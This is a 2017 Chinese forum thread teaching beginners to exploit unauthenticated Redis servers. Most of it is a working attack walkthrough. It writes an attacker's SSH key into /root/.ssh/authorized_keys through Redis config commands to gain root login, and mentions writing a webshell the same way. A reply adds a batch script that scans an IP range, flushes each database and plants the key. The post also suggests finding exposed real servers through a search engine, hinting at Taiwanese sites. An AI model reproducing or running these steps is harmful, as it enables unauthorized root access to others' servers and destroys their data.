[新手入门] 大佬回避,给小白科普一下题库里没有的redis的远程提权漏洞(版本≤3.0)

[复制链接]
查看9868 | 回复2 | 2017-6-2 12:25:16 | 显示全部楼层 |阅读模式
本帖最后由 sccdlth 于 2017-6-2 12:27 编辑

本帖给大家介绍一个利用起来非常简单的redis远程提权漏洞。

一、什么是redis?
        Redis
是一个开源的使用ANSI C语言编写、支持网络、可基于内存亦可持久化的日志型、Key-Value数据库,并提供多种语言的API。

二、漏洞概述
        
Redis 默认情况下,会绑定在 0.0.0.0:6379,这样将会将 Redis 服务暴露到公网上,如果在没有开启认证的情况下,可以导致任意用户在可以访问目标服务器的情况下未授权访问 Redis 以及读取 Redis 的数据。攻击者在未授权访问 Redis 的情况下可以利用 Redis 的相关方法,可以成功在 Redis 服务器上写入公钥,进而可以使用对应私钥直接登录目标服务器。我要强调的是,如果靶机的redis配置文件中限制了可远程登录访问的iplist,或是靶机未开启ssh服务和web服务,则此漏洞非常鸡肋。

三、漏洞利用
        
相信大家都知道ssh协议可以用私钥登录,关于非对称加密算法生成公私钥的过程这里我就不再讨论。
         第一步:利用linux中的ssh命令生成一对密钥(公私钥)
         ssh-keygen -t rsa
         命令执行后提示输入密钥名称,建议测试时使用id-rsa,密码明文长度大于4位,我使用的是123456
         密钥生成之后,我们将公钥  id-rsa.pub 前后加上两个换行符并导出到 id-rsa.txt文件中(这一步操作可以省略)
         
(echo -e "\n\n"; cat id-rsa.pub; echo -e "\n\n") > id-rsa.txt         
         第二步:上传公钥(这里我们稍微节省一步,把上传公钥和连接数据库的步骤合二为一)
         
cat id-rsa.txt | redis-cli -h xx.xx.xx.xx -x set crackit        (set crackit是设置键值,这里可以理解为设置用户名,涉及redis原理我们不深入讨论)
         第三部:写入配置文件,保存到磁盘(redis基于内存存储,要永久保存数据必须保存数据到磁盘配置文件)
         
redis-cli -h xx.xx.xx.xx          
         ————远程连接到靶机数据库

         $ xx.xx.xx.xx:6379> config set dir /root/.ssh/          
        ————设置当前用户主目录为/root/.ssh/
  
       OK   
        ————返回OK表示设置成功


         $ xx.xx.xx.xx:6379> config get dir          
         ————查看当前用户主目录(此步骤可省略)


         1) "dir"

         2) "/root/.ssh"           
         ————可以看到目录设置成功


         $ xx.xx.xx.xx:6379> config set dbfilename "authorized_keys"            
          ———— 设置数据库文件名为authorized_keys,这里我们覆盖了一个原本已经存在的文件(若原用户为密码连接,则此文件可能不存在)。这个 文件可以理解为我们能通过私钥连接上ssh的关键。其内容大家可以在靶机上完成实验后自行查看


         OK
         $ xx.xx.xx.xx:6379> save          
         ————保存当前数据到磁盘

         OK

         第四步:以root权限连接到靶机
         ssh -i id-rsa root@xx.xx.xx.xx  
         实验到这一步就告一段落,至此我们已经成功连接上了靶机并拥有root权限。
         实验需要用到一台linux和一台拥有redis数据库(默认端口6379)和开启了22端口的靶机。如果嫌搭建环境麻烦,可以上“ 钟馗之眼 ”,扫描端口6379,并在不破坏他人服务器计算机系统,不浏览他人任何隐私数据的前提下进行实验(台湾的站不错,咳咳)
         另外,redis还可以写入任意文件到任意已知目录下,如果对方开通了web服务,则可以通过config set dir  xxxxx  ; config set dbfilename xxx.php ;  set shell (or set webshell ) ; save ;的方式来写入任意马到对方web目录下一个访问者拥有读权限的目录下,这里我就不再细说了。
         
参考链接

http://www.sebug.net/vuldb/ssvid-89339
http://antirez.com/news/96
http://www.secpulse.com/archives/5366.html
http://www.sebug.net/vuldb/ssvid-89715
http://blog.knownsec.com/2015/11/analysis-of-redis-unauthorized-of-expolit/

回复

使用道具 举报

sccdlth | 2017-6-2 12:29:25 | 显示全部楼层
本帖最后由 sccdlth 于 2017-6-2 12:32 编辑

附一小段py,是以前某个小比赛用来批量上传公钥的。



[mw_shl_code=python,true]import redis
ip = '192.168.46.'
for i in range(10,100):
        if i != 152:
                ip = ip+str(i)
                r = redis.StrickRedis(host=ip,port=6379,db=0)
                print 'connection to '+ip
                r.flushdb
                rsa = open("~/lth-rsa.pub","r")
                str = rsa.read()
                s = r.set('lth-rsa.pub',str)
                if s:
                        print 'set rsa is OK!'
                s = r.config_set("dir","/root/.ssh/")
                if s:
                        print 'set dir is OK!'
                        s = r.config_set("dbfilename","authorized_keys")
                        if s:
                                print 'set dbfilename is OK!'
                                s = r.save()
                        else:
                                print 'set dbfilename failed'
                else:
                        print 'set dir failed'
                print r.save
                rsa.close()[/mw_shl_code]
回复

使用道具 举报

Harry | 2017-6-2 13:03:57 | 显示全部楼层
我去搭建个靶场
有人的地方就有江湖。
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

5

主题

18

帖子

110

积分

小有名气

Rank: 3Rank: 3

积分
110
QQ